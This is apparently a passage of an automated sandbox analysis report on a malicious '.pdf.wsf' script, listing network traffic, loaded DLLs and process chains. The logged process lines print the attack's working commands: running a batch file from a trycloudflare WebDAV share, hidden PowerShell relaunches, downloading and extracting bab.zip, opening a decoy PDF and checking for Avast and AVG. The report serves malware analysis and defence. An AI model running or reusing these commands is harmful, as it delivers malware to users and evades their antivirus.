Source: itertools.html.34.dr, copyreg.html.34.dr, constants.html.34.dr, genindex-K.html.34.dr, genindex.html.34.dr, pickle.html.34.dr, contents.html.34.dr, library.html.34.dr, inputoutput.html.34.dr, ipaddress.html.34.dr, curses.panel.html.34.dr, termios.html.34.dr, py_compile.html.34.dr, zipimport.html.34.dr, xml.dom.pulldom.html.34.dr, bugs.html.34.dr, netrc.html.34.dr, winreg.html.34.dr, numbers.html.34.dr, inspect.html.34.dr, distribution.html.34.dr	String found in binary or memory: https://www.sphinx-doc.org/
Source: itertools.html.34.dr	String found in binary or memory: https://www.youtube.com/watch?v=KuXjwB4LzSA

Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 49692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown	HTTPS traffic detected: 104.16.230.132:443 -> 192.168.2.8:49692 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.230.132:443 -> 192.168.2.8:49693 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.230.132:443 -> 192.168.2.8:49694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.8:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.230.132:443 -> 192.168.2.8:49969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.230.132:443 -> 192.168.2.8:49970 version: TLS 1.2

System Summary

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start /min \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"\\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat\" hidden' -WindowStyle Hidden"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://bernard-criterion-consultant-url.trycloudflare.com/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { Expand-Archive -Path 'C:\Users\user\Downloads\downloaded.zip' -DestinationPath 'C:\Users\user\Downloads\Extracted' -Force } catch { exit 1 }"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start /min \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"\\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat\" hidden' -WindowStyle Hidden"			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://bernard-criterion-consultant-url.trycloudflare.com/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { Expand-Archive -Path 'C:\Users\user\Downloads\downloaded.zip' -DestinationPath 'C:\Users\user\Downloads\Extracted' -Force } catch { exit 1 }"			Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: RE_00834473899387474.pdf.wsf

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.phis.spyw.expl.evad.winWSF@45/1079@3/4

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4924:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6556:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4mxylbby.uwk.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start /min \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVASTUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVGUI.EXE'

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\RE_00834473899387474.pdf.wsf"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start /min \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""\\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"\\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat\" hidden' -WindowStyle Hidden"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "\\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat" hidden
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\EEGWXUHVUG.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq AvastUI.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "AvastUI.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://bernard-criterion-consultant-url.trycloudflare.com/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2280 --field-trial-handle=1572,i,17211575191539315102,14389022794449574459,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { Expand-Archive -Path 'C:\Users\user\Downloads\downloaded.zip' -DestinationPath 'C:\Users\user\Downloads\Extracted' -Force } catch { exit 1 }"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start /min \\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""\\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat" "			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process cmd -ArgumentList '/c \"\\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat\" hidden' -WindowStyle Hidden"			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "\\cold-neon-springfield-asset.trycloudflare.com@SSL\DavWWWRoot\uty.bat" hidden			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\EEGWXUHVUG.pdf"			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq AvastUI.exe"			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "AvastUI.exe"			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe"			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "avgui.exe"			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://bernard-criterion-consultant-url.trycloudflare.com/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { Expand-Archive -Path 'C:\Users\user\Downloads\downloaded.zip' -DestinationPath 'C:\Users\user\Downloads\Extracted' -Force } catch { exit 1 }"			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2280 --field-trial-handle=1572,i,17211575191539315102,14389022794449574459,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: networkexplorer.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: drprov.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winsta.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ntlanman.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: davclnt.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: davhlpr.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winhttp.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ondemandconnroutehelper.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iphlpapi.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: dhcpcsvc6.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: dhcpcsvc.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: webio.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mswsock.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winnsi.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: dnsapi.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: rasadhlp.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: fwpuclnt.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: schannel.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mskeyprotect.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ntasn1.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ncrypt.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ncryptsslp.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msasn1.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cryptsp.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: rsaenh.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cryptbase.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: gpapi.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: dpapi.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wininet.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ondemandconnroutehelper.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: smartscreenps.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: shdocvw.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msisip.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wshext.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appxsip.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: opcservices.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: esdsip.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: twinapi.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: twinapi.appcore.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: textshaping.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: textinputframework.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: coreuicomponents.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: coremessaging.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ntmarta.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll			Jump to behavior
